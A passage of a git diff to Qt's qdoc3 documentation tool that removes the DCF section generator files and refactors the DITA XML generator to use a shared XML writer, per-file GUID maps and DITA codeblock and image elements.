-	result = convertExpr( qsTree, code, classesWithNoQ );
-    }
-    return result;
-}
-
-QString CppToQsConverter::convertComment( Tree * /* qsTree */,
-					  const QString& comment,
-					  const QSet<QString>& classesWithNoQ )
-
-{
-    QString result = comment;
-
-    result.replace( "TRUE", "true" );
-    result.replace( "FALSE", "false" );
-    result.replace( addressOperatorRegExp, "\\1\\2" );
-    result.replace( gulbrandsenRegExp, "." );
-
-    int i = 0;
-    while ( (i = result.indexOf(qClassRegExp, i)) != -1 ) {
-	if ( classesWithNoQ.contains(qClassRegExp.cap(1)) )
-	    result.remove( i, 1 );
-	i++;
-    }
-    return result;
-}
-
-QString CppToQsConverter::convertExpr( Tree *qsTree, const QString& expr,
-				       const QSet<QString>& classesWithNoQ )
-{
-    // suboptimal
-    return convertComment( qsTree, expr, classesWithNoQ );
-}
-
-QT_END_NAMESPACE
diff --git a/tools/qdoc3/dcfsection.cpp b/tools/qdoc3/dcfsection.cpp
deleted file mode 100644
index ea6df58..0000000
--- a/tools/qdoc3/dcfsection.cpp
+++ /dev/null
@@ -1,111 +0,0 @@
-/****************************************************************************
-**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
-** All rights reserved.
-** Contact: Nokia Corporation (qt-info@nokia.com)
-**
-** This file is part of the tools applications of the Qt Toolkit.
-**
-** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
-** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file.  Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-**
-** In addition, as a special exception, Nokia gives you certain additional
-** rights.  These rights are described in the Nokia Qt LGPL Exception
-** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
-**
-**
-**
-**
-**
-**
-** $QT_END_LICENSE$
-**
-****************************************************************************/
-
-#include <qfile.h>
-#include <qfileinfo.h>
-#include <qtextstream.h>
-
-#include "dcfsection.h"
-#include "htmlgenerator.h"
-
-QT_BEGIN_NAMESPACE
-
-void appendDcfSubSection( DcfSection *dcfSect, const DcfSection& sub )
-{
-    dcfSect->subsections.append( sub );
-}
-
-void appendDcfSubSections( DcfSection *dcfSect, const QList<DcfSection>& subs )
-{
-    dcfSect->subsections += subs;
-}
-
-void generateDcfSubSections( QString indent, QTextStream& out, const DcfSection& sect )
-{
-    QList<DcfSection>::const_iterator ss = sect.subsections.constBegin();
-    while ( ss != sect.subsections.constEnd() ) {
-	out << indent << "<section ref=\"" << HtmlGenerator::cleanRef(HtmlGenerator::protect((*ss).ref))
-            << "\" title=\"" << HtmlGenerator::protect((*ss).title) << "\"";
-	if ((*ss).keywords.isEmpty() && (*ss).subsections.isEmpty()) {
-	    out << "/>\n";
-	} else {
-	    out << ">\n";
-	    QString indentIndent = indent + "    ";
-	    QList<QPair<QString, QString> >::const_iterator k = (*ss).keywords.constBegin();
-	    while ( k != (*ss).keywords.constEnd() ) {
-		out << indentIndent << "<keyword ref=\"" << HtmlGenerator::cleanRef((*k).second) << "\">"
-                    << HtmlGenerator::protect((*k).first) << "</keyword>\n";
-		++k;
-	    }
-
-            generateDcfSubSections( indentIndent, out, *ss );
-	    out << indent << "</section>\n";
-	}
-	++ss;
-    }
-    out.flush();
-}
-
-void generateDcfSections( const DcfSection& rootSect, const QString& fileName,
-			  const QString& /* category */ )
-{
-    QFile file(fileName);
-    if (!file.open(QFile::WriteOnly | QFile::Text))
-        return ;
-
-    QTextStream out(&file);
-
-    QString icon = QFileInfo(fileName).baseName() + ".png";
-
-    out << "<!DOCTYPE DCF>\n";
-    out << "<DCF ref=\"" << HtmlGenerator::cleanRef(HtmlGenerator::protect(rootSect.ref));
-    if (icon != "qmake.png")
-	out << "\" icon=\"" << HtmlGenerator::protect(icon);
-    out << "\" imagedir=\"../../gif\" title=\"" << HtmlGenerator::protect(rootSect.title) +
-	      "\">\n";
-
-    generateDcfSubSections( "", out, rootSect );
-
-    out << "</DCF>\n";
-    out.flush();
-}
-
-QT_END_NAMESPACE
diff --git a/tools/qdoc3/dcfsection.h b/tools/qdoc3/dcfsection.h
deleted file mode 100644
index b11e874..0000000
--- a/tools/qdoc3/dcfsection.h
+++ /dev/null
@@ -1,94 +0,0 @@
-/****************************************************************************
-**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
-** All rights reserved.
-** Contact: Nokia Corporation (qt-info@nokia.com)
-**
-** This file is part of the tools applications of the Qt Toolkit.
-**
-** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
-** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file.  Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-**
-** In addition, as a special exception, Nokia gives you certain additional
-** rights.  These rights are described in the Nokia Qt LGPL Exception
-** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
-**
-**
-**
-**
-**
-**
-** $QT_END_LICENSE$
-**
-****************************************************************************/
-
-#ifndef DCFSECTION_H
-#define DCFSECTION_H
-
-#include <qlist.h>
-#include <qpair.h>
-#include <qstring.h>
-
-QT_BEGIN_NAMESPACE
-
-class QTextStream;
-
-struct DcfSection
-{
-    QString title;
-    QString ref;
-    QList<QPair<QString, QString> > keywords;
-    QList<DcfSection> subsections;
-};
-
-inline bool operator<( const DcfSection& s1, const DcfSection& s2 ) {
-    QString title1 = s1.title;
-    QString title2 = s2.title;
-
-    // cheat with Q3 classes
-    if (title1.startsWith("Q3"))
-        title1.insert(1, '~');
-    if (title2.startsWith("Q3"))
-        title2.insert(1, '~');
-
-    int delta = title1.toLower().compare( title2.toLower() );
-    if ( delta == 0 ) {
-	delta = title1.compare( title2 );
-	if ( delta == 0 )
-	    delta = s1.ref.localeAwareCompare( s2.ref );
-    }
-    return delta < 0;
-}
-
-inline bool operator>( const DcfSection& s1, const DcfSection& s2 ) { return s2 < s1; }
-inline bool operator<=( const DcfSection& s1, const DcfSection& s2 ) { return !( s2 < s1 ); }
-inline bool operator>=( const DcfSection& s1, const DcfSection& s2 ) { return !( s1 < s2 ); }
-inline bool operator==( const DcfSection& s1, const DcfSection& s2 ) { return &s1 == &s2; }
-inline bool operator!=( const DcfSection& s1, const DcfSection& s2 ) { return !( s1 == s2 ); }
-
-void appendDcfSubSection(DcfSection *dcfSect, const DcfSection &sub);
-void appendDcfSubSections(DcfSection *dcfSect, const QList<DcfSection> &subs);
-void generateDcfSubSections(QString indent, QTextStream &out, const DcfSection &sect);
-void generateDcfSections(const DcfSection &rootSect, const QString& fileName,
-                         const QString& category );
-
-QT_END_NAMESPACE
-
-#endif
diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp
index 84e8afd..e180c0a 100644
--- a/tools/qdoc3/ditaxmlgenerator.cpp
+++ b/tools/qdoc3/ditaxmlgenerator.cpp
@@ -1,4 +1,3 @@
-
 /****************************************************************************
 **
 ** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
@@ -48,6 +47,7 @@
 #include "codeparser.h"
 #include "ditaxmlgenerator.h"
 #include "node.h"
+#include "quoter.h"
 #include "separator.h"
 #include "tree.h"
 #include <ctype.h>
@@ -61,6 +61,10 @@ QT_BEGIN_NAMESPACE
 
 #define COMMAND_VERSION                         Doc::alias("version")
 int DitaXmlGenerator::id = 0;
+bool DitaXmlGenerator::inApiDesc = false;
+bool DitaXmlGenerator::inSection = false;
+bool DitaXmlGenerator::inDetailedDescription = false;
+bool DitaXmlGenerator::inLegaleseText = false;
 
 #define cxxapi_d_xref                      	Doc::alias("cxxapi-d-xref")
 #define cxxclass                           	Doc::alias("cxxclass")
@@ -282,59 +286,6 @@ int DitaXmlGenerator::id = 0;
 #define CXXVARIABLESTORAGECLASSSPECIFIERSTATIC  Doc::alias("cxxVariableStorageClassSpecifierStatic")
 #define CXXVARIABLEVOLATILE                     Doc::alias("cxxVariableVolatile")
 
-#define APIREF		                        Doc::alias("apiRef")
-#define APINAME		                        Doc::alias("apiName")
-#define APIDETAIL		                Doc::alias("apiDetail")
-#define APISYNTAX		                Doc::alias("apiSyntax")
-#define APISYNTAXTEXT				Doc::alias("apiSyntaxText")
-#define APISYNTAXITEM				Doc::alias("apiSyntaxItem")
-#define APIDEF		        		Doc::alias("apiDef")
-#define APIQUALIFIER				Doc::alias("apiQualifier")
-#define APIRELATION				Doc::alias("apiRelation")
-#define APITYPE		        		Doc::alias("apiType")
-#define APIARRAY		        	Doc::alias("apiArray")
-#define APIDATA		        		Doc::alias("apiData")
-#define APIDEFNOTE		        	Doc::alias("apiDefNote")
-#define APIDEFITEM		        	Doc::alias("apiDefItem")
-#define APIITEMNAME				Doc::alias("apiItemName")
-#define APIDESC		        		Doc::alias("apiDesc")
-#define APIIMPL		        		Doc::alias("apiImpl")
-
-#define APIPACKAGE		        	Doc::alias("apiPackage")
-
-#define APICLASSIFIER				Doc::alias("apiClassifier")
-#define APICLASSIFIERDETAIL			Doc::alias("apiClassifierDetail")
-#define APICLASSIFIERDEF			Doc::alias("apiClassifierDef")
-#define APICLASSIFIERMEMBER			Doc::alias("apiClassifierMember")
-#define APIOTHERCLASSIFIER			Doc::alias("apiOtherClassifier")
-#define APIBASECLASSIFIER			Doc::alias("apiBaseClassifier")
-
-#define APIOPERATION				Doc::alias("apiOperation")
-#define APIOPERATIONDETAIL			Doc::alias("apiOperationDetail")
-#define APIOPERATIONDEF				Doc::alias("apiOperationDef")
-#define APIRETURN		        	Doc::alias("apiReturn")
-#define APIPARAM		        	Doc::alias("apiParam")
-#define APIEVENT		        	Doc::alias("apiEvent")
-#define APIOPERATIONDEFITEM			Doc::alias("apiOperationDefItem")
-#define APIOPERATIONCLASSIFIER			Doc::alias("apiOperationClassifier")
-#define APICONSTRUCTORDEF			Doc::alias("apiConstructorDef")
-
-#define APIVALUE		        	Doc::alias("apiValue")
-#define APIVALUEDETAIL				Doc::alias("apiValueDetail")
-#define APIVALUEDEF				Doc::alias("apiValueDef")
-#define APIVALUEMEMBER				Doc::alias("apiValueMember")
-#define APIVALUECLASSIFIER			Doc::alias("apiValueClassifier")
-
-#define APIclassifier				Doc::alias("apiclassifier")
-#define APIoperation				Doc::alias("apioperation")
-#define APIpackage		        	Doc::alias("apipackage")
-#define APIvalue		        	Doc::alias("apivalue")
-
-#define APIMAP		        		Doc::alias("apiMap")
-#define APIITEMREF		        	Doc::alias("apiItemRef")
-
-#define SHORTDESC                               Doc::alias("shortdesc")
-
 QString DitaXmlGenerator::sinceTitles[] =
     {
         "    New Namespaces",
@@ -356,44 +307,75 @@ QString DitaXmlGenerator::sinceTitles[] =
 
 static bool showBrokenLinks = false;
 
-static void addLink(const QString &linkTarget,
-                    const QStringRef &nestedStuff,
-                    QString *res)
+/*!
+  Quick, dirty, and very ugly. Unescape \a text
+  so QXmlStreamWriter::writeCharacters() can put
+  the escapes back in again!
+ */
+void DitaXmlGenerator::writeCharacters(const QString& text)
+{
+    QString t = text;
+    t = t.replace("&lt;","<");
+    t = t.replace("&gt;",">");
+    t = t.replace("&amp;","&");
+    t = t.replace("&quot;","\"");
+    xmlWriter().writeCharacters(t);
+}
+
+/*!
+  Appends an <xref> element to the current XML stream
+  with the \a href attribute and the \a text.
+ */
+void DitaXmlGenerator::addLink(const QString& href,
+                               const QStringRef& text)
 {
-    if (!linkTarget.isEmpty()) {
-        *res += "<xref href=\"";
-        *res += linkTarget;
-        *res += "\">";
-        *res += nestedStuff;
-        *res += "</xref>";
+    if (!href.isEmpty()) {
+        xmlWriter().writeStartElement("xref");
+        xmlWriter().writeAttribute("href", href);
+        writeCharacters(text.toString());
+        xmlWriter().writeEndElement(); // </xref>
     }
     else {
-        *res += nestedStuff;
+        writeCharacters(text.toString());
     }
 }
 
-
+/*!
+  The default constructor.
+ */
 DitaXmlGenerator::DitaXmlGenerator()
     : inLink(false),
       inContents(false),
       inSectionHeading(false),
       inTableHeader(false),
+      inTableBody(false),
       numTableRows(0),
       threeColumnEnumValueTable(true),
       offlineDocs(true),
       funcLeftParen("\\S(\\()"),
       myTree(0),
-      slow(false),
       obsoleteLinks(false),
-      noLinks(0)
+      noLinks(false),
+      tableColumnCount(0)
 {
+    // nothing yet.
 }
 
+/*!
+  The destructor has nothing to do.
+ */
 DitaXmlGenerator::~DitaXmlGenerator()
 {
-    // nothing yet.
+    GuidMaps::iterator i = guidMaps.begin();
+    while (i != guidMaps.end()) {
+        delete i.value();
+        ++i;
+    }
 }
 
+/*!
+  A lot of internal structures are initialized.
+ */
 void DitaXmlGenerator::initializeGenerator(const Config &config)
 {
     static const struct {
@@ -478,8 +460,6 @@ void DitaXmlGenerator::initializeGenerator(const Config &config)
         ++edition;
     }
 
-    slow = config.getBool(CONFIG_SLOW);
-
     stylesheets = config.getStringList(DitaXmlGenerator::format() +
                                        Config::dot +
                                        DITAXMLGENERATOR_STYLESHEETS);
@@ -490,11 +470,17 @@ void DitaXmlGenerator::initializeGenerator(const Config &config)
 
 }
 
+/*!
+  All this does is call the same function in the base class.
+ */
 void DitaXmlGenerator::terminateGenerator()
 {
     Generator::terminateGenerator();
 }
 
+/*!
+  Returns "DITAXML".
+ */
 QString DitaXmlGenerator::format()
 {
     return "DITAXML";
@@ -506,11 +492,22 @@ QString DitaXmlGenerator::format()
  */
 QString DitaXmlGenerator::writeGuidAttribute(QString text)
 {
-    QString guid = lookupGuid(text);
-    writer.writeAttribute("id",guid);
+    QString guid = lookupGuid(outFileName(),text);
+    xmlWriter().writeAttribute("id",guid);
     return guid;
 }
 
+
+/*!
+  Write's the GUID for the \a node to the current XML stream
+  as an "id" attribute. If the \a node doesn't yet have a GUID,
+  one is generated.
+ */
+void DitaXmlGenerator::writeGuidAttribute(Node* node)
+{
+    xmlWriter().writeAttribute("id",node->guid());
+}
+
 /*!
   Looks up \a text in the GUID map. If it finds \a text,
   it returns the associated GUID. Otherwise it inserts
@@ -522,17 +519,54 @@ QString DitaXmlGenerator::lookupGuid(QString text)
     QMap<QString, QString>::const_iterator i = name2guidMap.find(text);
     if (i != name2guidMap.end())
         return i.value();
-    QString guid = QUuid::createUuid().toString();
+    QString t = QUuid::createUuid().toString();
+    QString guid = "id-" + t.mid(1,t.length()-2);
     name2guidMap.insert(text,guid);
     return guid;
 }
 
 /*!
+  First, look up the GUID map for \a fileName. If there isn't
+  a GUID map for \a fileName, create one and insert it into
+  the map of GUID maps. Then look up \a text in that GUID map.
+  If \a text is found, return the associated GUID. Otherwise,
+  insert \a text into the GUID map with a new GUID, and return
+  the new GUID.
+ */
+QString DitaXmlGenerator::lookupGuid(const QString& fileName, const QString& text)
+{
+    GuidMap* gm = lookupGuidMap(fileName);
+    GuidMap::const_iterator i = gm->find(text);
+    if (i != gm->end())
+        return i.value();
+    QString t = QUuid::createUuid().toString();
+    QString guid = "id-" + t.mid(1,t.length()-2);
+    gm->insert(text,guid);
+    return guid;
+}
+
+/*!
+  Looks up \a fileName in the map of GUID maps. If it finds
+  \a fileName, it returns a pointer to the associated GUID
+  map. Otherwise it creates a new GUID map and inserts it
+  into the map of GUID maps with \a fileName as its key.
+ */
+GuidMap* DitaXmlGenerator::lookupGuidMap(const QString& fileName)
+{
+    GuidMaps::const_iterator i = guidMaps.find(fileName);
+    if (i != guidMaps.end())
+        return i.value();
+    GuidMap* gm = new GuidMap;
+    guidMaps.insert(fileName,gm);
+    return gm;
+}
+
+/*!
   This is where the DITA XML files are written.
   \note The file generation is done in the base class,
   PageGenerator::generateTree().
  */
-void DitaXmlGenerator::generateTree(const Tree *tree, CodeMarker *marker)
+void DitaXmlGenerator::generateTree(const Tree *tree)
 {
     myTree = tree;
     nonCompatClasses.clear();
@@ -551,7 +585,8 @@ void DitaXmlGenerator::generateTree(const Tree *tree, CodeMarker *marker)
     findAllNamespaces(tree->root());
     findAllSince(tree->root());
 
-    PageGenerator::generateTree(tree, marker);
+    PageGenerator::generateTree(tree);
+    writeDitaMap();
 }
 
 void DitaXmlGenerator::startText(const Node* /* relative */,
@@ -567,6 +602,33 @@ void DitaXmlGenerator::startText(const Node* /* relative */,
     sectionNumber.clear();
 }
 
+static int countTableColumns(const Atom* t)
+{
+    int result = 0;
+    if (t->type() == Atom::TableHeaderLeft) {
+        while (t->type() == Atom::TableHeaderLeft) {
+            int count = 0;
+            t = t->next();
+            while (t->type() != Atom::TableHeaderRight) {
+                if (t->type() == Atom::TableItemLeft)
+                    ++count;
+                t = t->next();
+            }
+            if (count > result)
+                result = count;
+            t = t->next();
+        }
+    }
+    else if (t->type() == Atom::TableRowLeft) {
+        while (t->type() != Atom::TableRowRight) {
+            if (t->type() == Atom::TableItemLeft)
+                ++result;
+            t = t->next();
+        }
+    }
+    return result;
+}
+
 /*!
   Generate html from an instance of Atom.
  */
@@ -575,43 +637,57 @@ int DitaXmlGenerator::generateAtom(const Atom *atom,
                                    CodeMarker *marker)
 {
     int skipAhead = 0;
-    QString hx;
+    QString hx, str;
     static bool in_para = false;
-    QString guid;
-    
+    QString guid, hc;
+
     switch (atom->type()) {
     case Atom::AbstractLeft:
         break;
     case Atom::AbstractRight:
         break;
     case Atom::AutoLink:
-        if ((noLinks > 0) && !inLink && !inContents && !inSectionHeading) {
-            const Node *node = 0;
+        if (!noLinks && !inLink && !inContents && !inSectionHeading) {
+            const Node* node = 0;
             QString link = getLink(atom, relative, marker, &node);
             if (!link.isEmpty()) {
-                beginLink(link, node, relative, marker);
+                beginLink(link);
                 generateLink(atom, relative, marker);
                 endLink();
             }
             else {
-                writer.writeCharacters(protectEnc(atom->string()));
+                writeCharacters(protectEnc(atom->string()));
             }
         }
         else {
-            writer.writeCharacters(protectEnc(atom->string()));
+            writeCharacters(protectEnc(atom->string()));
         }
         break;
     case Atom::BaseName:
         break;
     case Atom::BriefLeft:
-        if (relative->type() == Node::Fake) {
-            skipAhead = skipAtoms(atom, Atom::BriefRight);
-            break;
+        //if (relative->type() == Node::Fake) {
+        //skipAhead = skipAtoms(atom, Atom::BriefRight);
+        //break;
+        //}
+        if (inApiDesc || inSection) {
+            xmlWriter().writeStartElement("p");
+            xmlWriter().writeAttribute("outputclass","brief");
+        }
+        else {
+            noLinks = true;
+            xmlWriter().writeStartElement("shortdesc");
         }
-        writer.writeStartElement(SHORTDESC);
         if (relative->type() == Node::Property ||
             relative->type() == Node::Variable) {
-            QString str;
+            xmlWriter().writeCharacters("This ");
+            if (relative->type() == Node::Property)
+                xmlWriter().writeCharacters("property");
+            else if (relative->type() == Node::Variable)
+                xmlWriter().writeCharacters("variable");
+            xmlWriter().writeCharacters(" holds ");
+        }
+        if (noLinks) {
             atom = atom->next();
             while (atom != 0 && atom->type() != Atom::BriefRight) {
                 if (atom->type() == Atom::String ||
@@ -623,102 +699,89 @@ int DitaXmlGenerator::generateAtom(const Atom *atom,
             str[0] = str[0].toLower();
             if (str.right(1) == ".")
                 str.truncate(str.length() - 1);
-            writer.writeCharacters("This ");
-            if (relative->type() == Node::Property)
-                writer.writeCharacters("property");
-            else
-                writer.writeCharacters("variable");
-            QStringList words = str.split(" ");
-            if (!(words.first() == "contains" || words.first() == "specifies"
-                || words.first() == "describes" || words.first() == "defines"
-                || words.first() == "holds" || words.first() == "determines"))
-                writer.writeCharacters(" holds ");
-            else
-                writer.writeCharacters(" ");
-            writer.writeCharacters(str + ".");
+            writeCharacters(str + ".");
         }
         break;
     case Atom::BriefRight:
-        if (relative->type() != Node::Fake) {
-            writer.writeEndElement(); // </shortdesc>
-        }
+        //        if (relative->type() != Node::Fake) 
+        xmlWriter().writeEndElement(); // </shortdesc> or </p>
+        noLinks = false;
         break;
     case Atom::C:
-        writer.writeStartElement(formattingLeftMap()[ATOM_FORMATTING_TELETYPE]);
+        xmlWriter().writeStartElement(formattingLeftMap()[ATOM_FORMATTING_TELETYPE]);
         if (inLink) {
-            writer.writeCharacters(protectEnc(plainCode(atom->string())));
+            writeCharacters(protectEnc(plainCode(atom->string())));
         }
         else {
-            writer.writeCharacters(highlightedCode(atom->string(), marker, relative));
+            writeText(atom->string(), marker, relative);
         }
-        writer.writeEndElement(); // sse writeStartElement() above
+        xmlWriter().writeEndElement(); // sse writeStartElement() above
         break;
     case Atom::Code:
-        writer.writeStartElement("pre");
-        writer.writeAttribute("outputclass","highlightedCode");
-        writer.writeCharacters(trimmedTrailing(highlightedCode(indent(codeIndent,atom->string()),
-                                                               marker,
-                                                               relative)));
-        writer.writeEndElement(); // </pre>
+        {
+            xmlWriter().writeStartElement("codeblock");
+            QString chars = trimmedTrailing(atom->string()); 
+            writeText(chars, marker, relative);
+            xmlWriter().writeEndElement(); // </codeblock>
+        }
 	break;
-#ifdef QDOC_QML
     case Atom::Qml:
-        writer.writeStartElement("pre");
-        writer.writeAttribute("outputclass","highlightedCode");
-        writer.writeCharacters(trimmedTrailing(highlightedCode(indent(codeIndent,atom->string()),
-                                                               marker,
-                                                               relative)));
-        writer.writeEndElement(); // pre
+        xmlWriter().writeStartElement("codeblock");
+        writeText(trimmedTrailing(atom->string()), marker, relative);
+        xmlWriter().writeEndElement(); // </codeblock>
 	break;
-#endif
     case Atom::CodeNew:
-        writer.writeStartElement("p");
-        writer.writeCharacters("you can rewrite it as");
-        writer.writeEndElement(); // </p>
-        writer.writeStartElement("pre");
-        writer.writeAttribute("outputclass","highlightedCode");
-        writer.writeCharacters(trimmedTrailing(highlightedCode(indent(codeIndent,atom->string()),
-                                                               marker,
-                                                               relative)));
-        writer.writeEndElement(); // </pre>
+        xmlWriter().writeStartElement("p");
+        xmlWriter().writeCharacters("you can rewrite it as");
+        xmlWriter().writeEndElement(); // </p>
+        xmlWriter().writeStartElement("codeblock");
+        writeText(trimmedTrailing(atom->string()), marker, relative);
+        xmlWriter().writeEndElement(); // </codeblock>
         break;
     case Atom::CodeOld:
-        writer.writeStartElement("p");
-        writer.writeCharacters("For example, if you have code like");
-        writer.writeEndElement(); // </p>
+        xmlWriter().writeStartElement("p");
+        xmlWriter().writeCharacters("For example, if you have code like");
+        xmlWriter().writeEndElement(); // </p>
         // fallthrough
     case Atom::CodeBad:
-        writer.writeStartElement("pre");
-        writer.writeAttribute("outputclass","highlightedCode");
-        writer.writeCharacters(trimmedTrailing(protectEnc(plainCode(indent(codeIndent,atom->string())))));
-        writer.writeEndElement(); // </pre>
+        xmlWriter().writeStartElement("codeblock");
+        writeCharacters(trimmedTrailing(plainCode(atom->string())));
+        xmlWriter().writeEndElement(); // </codeblock>
 	break;
+    case Atom::Div:
+        xmlWriter().writeStartElement("bodydiv");
+        if (!atom->string().isEmpty())
+            xmlWriter().writeAttribute("outputclass", atom->string());
+        break;
+    case Atom::EndDiv:
+        xmlWriter().writeEndElement(); // </bodydiv>
+        break;
     case Atom::FootnoteLeft:
         // ### For now
         if (in_para) {
-            writer.writeEndElement(); // </p>
+            xmlWriter().writeEndElement(); // </p>
             in_para = false;
         }
-        writer.writeCharacters("<!-- ");
+        xmlWriter().writeCharacters("<!-- ");
         break;
     case Atom::FootnoteRight:
         // ### For now
-        writer.writeCharacters("-->");
+        xmlWriter().writeCharacters("-->");
         break;
     case Atom::FormatElse:
     case Atom::FormatEndif:
     case Atom::FormatIf:
         break;
     case Atom::FormattingLeft:
-        writer.writeStartElement(formattingLeftMap()[atom->string()]);
+        xmlWriter().writeStartElement(formattingLeftMap()[atom->string()]);
         if (atom->string() == ATOM_FORMATTING_PARAMETER) {
             if (atom->next() != 0 && atom->next()->type() == Atom::String) {
                 QRegExp subscriptRegExp("([a-z]+)_([0-9n])");
                 if (subscriptRegExp.exactMatch(atom->next()->string())) {
-                    writer.writeCharacters(subscriptRegExp.cap(1));
-                    writer.writeStartElement("sub");
-                    writer.writeCharacters(subscriptRegExp.cap(2));
-                    writer.writeEndElement(); // </sub>
+                    xmlWriter().writeCharacters(subscriptRegExp.cap(1));
+                    xmlWriter().writeStartElement("sub");
+                    xmlWriter().writeCharacters(subscriptRegExp.cap(2));
+                    xmlWriter().writeEndElement(); // </sub>
                     skipAhead = 1;
                 }
             }
@@ -729,7 +792,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom,
             endLink();
         }
         else {
-            writer.writeEndElement(); // ?
+            xmlWriter().writeEndElement(); // ?
         }
         break;
     case Atom::AnnotatedList:
@@ -835,19 +898,6 @@ int DitaXmlGenerator::generateAtom(const Atom *atom,
                 generateAnnotatedList(fake, marker, groupMembersMap);
             }
         }
-        else if (atom->string() == "relatedinline") {
-            const FakeNode *fake = static_cast<const FakeNode *>(relative);
-            if (fake && !fake->groupMembers().isEmpty()) {
-                // Reverse the list into the original scan order.
-                // Should be sorted.  But on what?  It may not be a
-                // regular class or page definition.
-                QList<const Node *> list;
-                foreach (const Node *node, fake->groupMembers())
-                    list.prepend(node);
-                foreach (const Node *node, list)
-                    generateBody(node, marker);
-            }
-        }
         break;
     case Atom::SinceList:
         {
@@ -931,31 +981,26 @@ int DitaXmlGenerator::generateAtom(const Atom *atom,
                 /*
                   First generate the table of contents.
                  */
-                writer.writeStartElement("ul");
+                xmlWriter().writeStartElement("ul");
                 s = sections.constBegin();
                 while (s != sections.constEnd()) {
                     if (!(*s).members.isEmpty()) {
-
-                        writer.writeStartElement("li");
-                        writer.writeStartElement("xref");
-                        writer.writeAttribute("href",QString("#" + Doc::canonicalTitle((*s).name)));
-                        writer.writeCharacters((*s).name);
-                        writer.writeEndElement(); // </xref>
-                        writer.writeEndElement(); // </li>
+                        QString li = outFileName() + "#" + Doc::canonicalTitle((*s).name);
+                        writeXrefListItem(li, (*s).name);
                     }
                     ++s;
                 }
-                writer.writeEndElement(); // </ul>
+                xmlWriter().writeEndElement(); // </ul>
 
                 int idx = 0;
                 s = sections.constBegin();
                 while (s != sections.constEnd()) {
                     if (!(*s).members.isEmpty()) {
-                        writer.writeStartElement("p");
+                        xmlWriter().writeStartElement("p");
                         writeGuidAttribute(Doc::canonicalTitle((*s).name));
-                        writer.writeAttribute("outputclass","h3");
-                        writer.writeCharacters(protectEnc((*s).name));
-                        writer.writeEndElement(); // </p>
+                        xmlWriter().writeAttribute("outputclass","h3");
+                        writeCharacters(protectEnc((*s).name));
+                        xmlWriter().writeEndElement(); // </p>
                         if (idx == Class)
                             generateCompactList(0, marker, ncmap.value(), false, QString("Q"));
                         else if (idx == QmlClass)
@@ -975,23 +1020,23 @@ int DitaXmlGenerator::generateAtom(const Atom *atom,
                             pmap = parentmaps.begin();
                             while (pmap != parentmaps.end()) {
                                 NodeList nlist = pmap->values();
-                                writer.writeStartElement("p");
-                                writer.writeCharacters("Class ");
-                                writer.writeStartElement("xref");
-                                writer.writeAttribute("href",linkForNode(pmap.key(), 0));
+                                xmlWriter().writeStartElement("p");
+                                xmlWriter().writeCharacters("Class ");
+                                xmlWriter().writeStartElement("xref");
+                                xmlWriter().writeAttribute("href",linkForNode(pmap.key(), 0));
                                 QStringList pieces = fullName(pmap.key(), 0, marker).split("::");
-                                writer.writeCharacters(protectEnc(pieces.last()));
-                                writer.writeEndElement(); // </xref>
-                                writer.writeCharacters(":");
-                                writer.writeEndElement(); // </p>
+                                writeCharacters(protectEnc(pieces.last()));
+                                xmlWriter().writeEndElement(); // </xref>
+                                xmlWriter().writeCharacters(":");
+                                xmlWriter().writeEndElement(); // </p>
 
                                 generateSection(nlist, 0, marker, CodeMarker::Summary);
-                                writer.writeEmptyElement("br");
                                 ++pmap;
                             }
                         }
-                        else
+                        else {
                             generateSection(s->members, 0, marker, CodeMarker::Summary);
+                        }
                      }
                     ++idx;
                     ++s;
@@ -1006,120 +1051,139 @@ int DitaXmlGenerator::generateAtom(const Atom *atom,
             QString text;
             if (atom->next() != 0)
                 text = atom->next()->string();
-            if (atom->type() == Atom::Image) {
-                writer.writeStartElement("p");
-                writer.writeAttribute("outputclass","centerAlign");
-            }
             if (fileName.isEmpty()) {
-                writer.writeStartElement("font");
-                writer.writeAttribute("color","red");
-                writer.writeCharacters("[Missing image: ");
-                writer.writeCharacters(protectEnc(atom->string()));
-                writer.writeEndElement(); // </font>
+                /*
+                  Don't bother outputting an error message.
+                  Just output the href as if the image is in
+                  the images directory...
+                 */
+                fileName = QLatin1String("images/") + protectEnc(atom->string());
             }
+
+            xmlWriter().writeStartElement("fig");
+            xmlWriter().writeStartElement("image");
+            xmlWriter().writeAttribute("href",protectEnc(fileName));
+            if (atom->type() == Atom::InlineImage)
+                xmlWriter().writeAttribute("placement","inline");
             else {
-                writer.writeStartElement("img");
-                writer.writeAttribute("src",protectEnc(fileName));
-                if (!text.isEmpty())
-                    writer.writeAttribute("alt",protectEnc(text));
-                writer.writeEndElement(); // </img>
+                xmlWriter().writeAttribute("placement","break");
+                xmlWriter().writeAttribute("align","center");
+            }
+            if (!text.isEmpty()) {
+                xmlWriter().writeStartElement("alt");
+                writeCharacters(protectEnc(text));
+                xmlWriter().writeEndElement(); // </alt>
             }
-            if (atom->type() == Atom::Image)
-                writer.writeEndElement(); // </p>
